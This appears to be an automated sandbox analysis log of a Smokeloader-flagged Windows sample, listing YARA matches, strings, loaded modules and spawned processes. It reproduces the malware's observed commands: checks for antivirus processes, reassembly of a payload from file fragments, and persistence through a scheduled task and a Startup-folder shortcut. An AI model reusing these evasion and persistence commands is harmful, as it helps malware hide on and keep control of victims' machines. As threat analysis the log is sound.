Source: 00000003.00000002.1937842003.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: h8jGj6Qe78.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ewggbbh.1.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: svchost015.exe.26.dr Binary string: \Device\CDROM
Source: svchost015.exe.26.dr Binary string: \Device\PhysicalMemory
Source: svchost015.exe.26.dr Binary string: \Device\PhysicalMemoryU
Source: svchost015.exe.26.dr Binary string: ol, por favorI&taliano, per favore&Portugues, por favorPo&lski*.*.prj.xfcwhxvmem.pos.settings.zip.e01.dd001.ctr.txt.png.mem.memservice_workeredgetmp.tmpemlmsg.jpgheic*.pdf;*.ps;*.tif;*.jpg;*.png;*.gif;*.bmp.htmlhtmlxmlsqlitesqlitedbregistryolk14messageedbsnssevtevtxplistbplist*.xhdTesseractOCRExcireExcire ForensicsExcire.exe.\!imagespst,ost,edb,dbx,pfc,mbox,eml,emlx,mht,mim,msg,olk14msgsource,olk14message,olk14msgattach,olk15msgattach,olk15msgsource,olk15message,oft,mbs,tnefzip,zipx,7z,rar,tar,gz,tgz,bzip,bz2docx,xlsx,pptx,ppsx,odt,ods,odb,odg,odf,odp,key,numbers,pages,xps,oxps,opendoc,sxw,sxg,sxc,stc,sxm,sxi,sxd,std,stw,sxm,hwpxufdr,ova,gbp,odm,a2w,kmz,kpr,pxl2,bbb,idml,cdr,sbb,notebook,mmap,spd,cdmz,mwb,nbak,pez,artx,cmap,sh3d,dpp,snb,dbk,sps,spv,wpp,jnxthmx,war,otp,xap,dwfx,epub,btapp,u3p,nth,ibooks,3dxml,htmlz,cbz,ear,potx,ppam,xltx,xlsm,dotx,docm,dotx,vsdx,gadget,rbf,eftx,gg,ottjar,apk,ipa,appx,crx,cabzxp,ots,wmz,air,accft,vssx,ipcc,ipsw,xpi;*.docx;*.pptx;*.xlsx;*.vsdx;*.vsdm;*.odt;*.odp;*.ods*.xls;*.xlsx;*.odsNEARNTNRFlexFilterANDOR (=offline)XWF_MTX_Alt Gr +Ctrl +Shift +Space +Ctrl+Alt +HeaderBlank line(s) found.Power down after x minutesFallback code page for plain text*\\\\?\\\.\\\?\Volume{\Device\HarddiskVolume\Device\CdRom... .. FILEBAAD($MFT) WofCompressedDataIndex Record$EFS.PFILENTFS: EA(EA)NO NAME > 0x100x10 < 0x30Unable to terminate worker thread.X-Ways Decompressed [block hash values] [PhotoDNA] [FuzZyDoc]PhotoDNAFuzZyDoc_newTeamsMessagesDataTeamsMeetingsRecoverable Items\DeletionsTop of Personal FoldersSenRec.dirPasswords.txtSearch Terms.txtNewUsers.dirKeywordsLockSpecial Interest.sectorX-Ways SessionSleep(0) Frequency (0..100)non-existent sector debug info123123|123|1234|12345|123456|1234567|12345678|123456789|987654321|abc123|123abc|121212|000000|666666|qwerty|password|password1|iloveyou|monkey|dragon|qwertyuiop-------- *** ---*** ***nLicID& --> --> .journal.exclude.badblocksFile mode:Sequential #TOCBLOCKVMDBVBLKContainerFILETIMEZone.Identifier[ZoneTransfer]System Volume InformationNot enough space for metadata at offset<html>
Source: svchost015.exe.26.dr Binary string: \Device\harddisk
Source: svchost015.exe.26.dr Binary string: \Device\Floppy
Source: svchost015.exe.26.dr Binary string: \Device\Floppy\Device\CDROM\Device\harddisk\partition0SQ
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winEXE@47/50@7/6
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8A6AD GetLastError,FormatMessageW, 25_2_00E8A6AD
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E78DE9 AdjustTokenPrivileges,CloseHandle, 25_2_00E78DE9
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E79399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError, 25_2_00E79399
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8B976 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode, 25_2_00E8B976
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0089C380 CreateToolhelp32Snapshot,Module32First, 0_2_0089C380
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8C9DA CoInitialize,CoCreateInstance,CoUninitialize, 25_2_00E8C9DA
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx, 25_2_00E8443D
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\ewggbbh Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\8d14b2cd18
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:732:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\329C.tmp Jump to behavior
Source: Yara match File source: 29.0.svchost015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\svchost015.exe, type: DROPPED
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Teach Teach.bat & Teach.bat & exit
Source: h8jGj6Qe78.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Windows\SysWOW64\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : Select Name from Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\explorer.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: softokn3.dll.29.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.29.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.29.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.29.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.29.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.29.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.29.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: svchost015.exe, svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.29.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: svchost015.exe, 0000001D.00000003.2486006722.0000000020D19000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.29.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: svchost015.exe, 0000001D.00000002.2647841701.000000001AD9A000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2671824848.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.29.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: h8jGj6Qe78.exe ReversingLabs: Detection: 42%
Source: h8jGj6Qe78.exe Virustotal: Detection: 40%
Source: unknown Process created: C:\Users\user\Desktop\h8jGj6Qe78.exe "C:\Users\user\Desktop\h8jGj6Qe78.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\ewggbbh C:\Users\user\AppData\Roaming\ewggbbh
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\329C.exe C:\Users\user\AppData\Local\Temp\329C.exe
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Teach Teach.bat & Teach.bat & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 795933
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "tagsnegotiationthreadadobe" Literature
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Church + ..\Activity + ..\Yahoo + ..\Census + ..\Mario + ..\Postcards + ..\Vessel + ..\Vhs + ..\Maps + ..\Convenience + ..\Comment + ..\Shift z
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Burn.pif z
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Cheese" /tr "wscript //B 'C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js'" /sc minute /mo 5 /F
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Cheese" /tr "wscript //B 'C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js'" /sc minute /mo 5 /F
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftServe.url" & echo URL="C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftServe.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr" "C:\Users\user\AppData\Local\SwiftTech Solutions\w"
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\DFA6.exe C:\Users\user\AppData\Local\Temp\DFA6.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr" "C:\Users\user\AppData\Local\SwiftTech Solutions\w"
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\ewggbbh C:\Users\user\AppData\Roaming\ewggbbh
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\329C.exe C:\Users\user\AppData\Local\Temp\329C.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\DFA6.exe C:\Users\user\AppData\Local\Temp\DFA6.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Teach Teach.bat & Teach.bat & exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 795933 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "tagsnegotiationthreadadobe" Literature Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Church + ..\Activity + ..\Yahoo + ..\Census + ..\Mario + ..\Postcards + ..\Vessel + ..\Vhs + ..\Maps + ..\Convenience + ..\Comment + ..\Shift z Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Burn.pif z Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Cheese" /tr "wscript //B 'C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js'" /sc minute /mo 5 /F Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftServe.url" & echo URL="C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftServe.url" & exit Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Process created: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Cheese" /tr "wscript //B 'C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js'" /sc minute /mo 5 /F Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr" "C:\Users\user\AppData\Local\SwiftTech Solutions\w"
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr" "C:\Users\user\AppData\Local\SwiftTech Solutions\w"
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cdprt.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.internal.shell.broker.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: wininet.dll Jump to behavior
